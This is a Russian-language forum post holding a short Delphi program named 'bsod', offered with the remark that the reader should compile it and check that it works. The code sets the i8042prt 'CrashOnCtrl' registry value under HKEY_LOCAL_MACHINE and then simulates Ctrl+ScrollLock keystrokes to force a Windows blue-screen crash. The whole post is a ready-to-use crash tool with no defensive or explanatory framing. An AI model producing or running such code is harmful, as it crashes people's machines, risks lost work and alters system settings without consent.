
10.01.2009, 11:38
|
|
Участник форума
Регистрация: 21.04.2007
Сообщений: 289
Провел на форуме: 4612647
Репутация:
368
|
|
program bsod;
uses Windows;
function R(RootKey: HKEY; Key, Name, Value: string): Boolean;
var
Handle: HKEY;
Res: LongInt;
begin
Result := False;
Res := RegCreateKeyEx(RootKey, PChar(Key), 0, nil, REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS, nil, Handle, nil);
if Res <> ERROR_SUCCESS then
Exit;
Res := RegSetValueEx(Handle, PChar(Name), 0, REG_SZ, PChar(Value),
Length(Value) + 1);
Result := Res = ERROR_SUCCESS;
RegCloseKey(Handle);
end;
procedure SKDown(Key: byte);
begin
keybd_event(Key, 0, 0, 0);
end;
procedure SKUp(Key: byte);
begin
keybd_event(Key, 0, KEYEVENTF_KEYUP, 0);
end;
procedure SK(Key: byte; extra: DWORD);
begin
keybd_event(Key, extra, 0, 0);
keybd_event(Key, extra, KEYEVENTF_KEYUP, 0);
end;
begin
R(HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Ser vices\i8042prt','CrashOnCtrl', '1');
Sleep(300);
SKDown(VK_CONTROL);
SKDown(VK_SCROLL);
SKUp(VK_SCROLL);
SKDown(VK_SCROLL);
SKUp(VK_SCROLL);
SKUp(VK_CONTROL);
end.
скомпиль этот кодес в дельфе и проверь. должен сработать
|
|
|